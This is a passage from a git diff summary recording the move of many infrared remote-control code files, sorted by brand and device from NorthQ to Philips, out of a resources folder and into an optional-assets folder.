ir_optional_assets}/optional-assets/_CSV-IRDB_/NorthQ/Unknown_6400/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Novaplex/Cable Box/27,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/128,110.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/64,64.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/OSRAM/Unknown_OSRAM/1,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Olevia/Unknown_RC-LTFN/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Olevia/Unknown_RC-LTL/4,185.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Olympus/Unknown_RM-1/134,59.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Olympus/Unknown_RM-2/134,59.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/One For All/Unknown_7720/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/One For All/Unknown_For/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/One For All/Unknown_For/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/One For All/Unknown_One-For-All/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/One For All/Unknown_Phillips/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/One For All/Unknown_SAT/32,8.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-2510(12341)/71,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-3021B00-VCR-0081/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-3440/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-5550/11,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-6012w/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7020/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7240/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7530/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7555/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7562/68,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7710/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-8204.1300/32,8.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-8910/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/One For All/Unknown_VCR/113,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/One For All/Unknown_control-Philips-0081d/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/One For All/Unknown_urc7562/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/One For All/Unknown_urc7730/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onida/Unknown_DFX/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onida/Unknown_TVE/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo Integra/DVD Changer/210,43.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo Integra/Receiver/210,108.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo Integra/Receiver/210,109.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/Amplifier/210,108.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/Amplifier/210,109.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/CD Player/132,117.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,109.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,13.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,44.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/Cassette Tape/132,89.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/Cassette Tape/210,13.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/DVD Player/210,43.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/DVD Player/69,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/Laser Disc/168,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/Receiver/210,108.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/Receiver/210,109.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/Tuner/210,109.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/Tuner/210,37.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/Unknown/210,109.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/Unknown/210,44.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/Unknown_CR-70R/210,109.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/160,10.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,109.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,44.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-104C/210,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-146T/210,13.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-184s/210,109.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-425DV/210,43.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-50/210,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-682M/210,43.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/Unknown_rc-211s/210,109.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Onkyo/Unknown_rc-252s/210,109.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Optex/Unknown_ORT/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/PHAST/PLR-IR1/85,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/PLU2/Unknown_DVX-345pro/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/PS Audio/CD Player/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pace/Unknown_DC551P/27,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pace/Unknown_DI4001N/10,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pace/Unknown_DI4010I/10,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pace/Unknown_DS420/16,80.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pace/Unknown_DS620/132,60.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pace/Unknown_Digital/0,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pace/Unknown_PACE-RC-10/132,60.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pace/Unknown_PaceMSS/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pace/Unknown_RC-17/132,60.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pace/Unknown_RC-30/132,60.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pace/Unknown_TDS460NNZ/35,128.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pace/Unknown_pacetwin/34,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pace/Unknown_xsat/34,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Packard Bell/Unknown_PackBell/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Palcom/Unknown_DSL-6/192,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/128,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,16.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,18.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,28.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,34.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,4.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/176,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/HDTV Tuner/128,2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Laser Disc/144,64.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,28.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,4.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/TV/128,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/TV/128,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/TV/128,4.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/TV/128,9.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_CARC60EX/129,106.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR57510/144,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR642162/160,194.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR642195/160,194.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR643820/160,194.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR643826/160,194.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7617010/176,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7621010/176,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7631010/176,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7914Z20/128,72.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QADC000006/128,72.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QAHB0048/160,194.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QAYB000064/128,72.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_NV-F65/144,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/176,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_Panasonic-EUR571100/144,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_Panasonic-RAK-RX314W/160,194.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RAK-RX309W/160,194.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RC4346-01B/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RX-ED70/160,194.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_TV/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VCR/144,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ0910/144,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ1309/144,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ1697/112,8.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ2380/176,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VSQS0531/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_cd/160,194.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panas928/160,194.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W/160,194.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panasonic.conf/144,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/Unknown_veq2249/176,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panasonic/VCR/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Panda/Unknown_DVD-6838/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pansat/Unknown_2500a/0,249.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pansat/Unknown_2700/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Pansat/Unknown_2700a/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Parasound/Receiver/134,97.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Parasound/Receiver/27,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Parasound/Receiver/3,240.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Parasound/Surround Processor/3,240.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Peekton/Unknown_IR6005/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philco/Unknown_PCR-111/80,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/CD-R/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/CD-R/26,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/DSS/133,48.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/DSS/39,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/DVD Player/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Digital Recorder/133,48.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Receiver/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Receiver/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Receiver/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Receiver/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Receiver/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/TV/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/TV/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_01/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_01/48,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_101/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_130A/138,245.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_17PT1563/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_26PFL5604H/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_32PFL5403D/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_5260/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_5300/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_5373/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_8243/10,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_95/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_AV5609/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_CD/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_CD720/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_CD723/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_DSX-5500/39,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_DVD-724/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_DVD711/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_DVP-5982/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_DVP-642/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_FW2104/134,83.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_LV2/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/6,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_PHDVD5/26,154.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_PHILIPS/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_PHILIPS/34,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_PM725S/27,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_Philips-PMDVD6T-Universal-AUX/64,47.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_R-48F01/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-2012/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-5/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-5/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-7843/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_RC/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_RC/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19042002/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19237006/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19335003-01P/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2034302/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2070/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2582/39,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_RC5-BP6/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7507/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7843/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7925/26,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_RC8244/10,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_RC8861/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_RCLE011/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_RD6834/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_RT150/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_RU120/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC-RU-520/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC/6,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_SF172/39,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_SRM5100/4,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_SRU/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_STEREO/164,164.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_TIVO/133,48.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_TIVO34/133,48.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_TV/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_VCR/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_VR175/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_digital/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Philips/Unknown_dvd712/4,-1.ir (100%) rename assets/{resources/infrared => 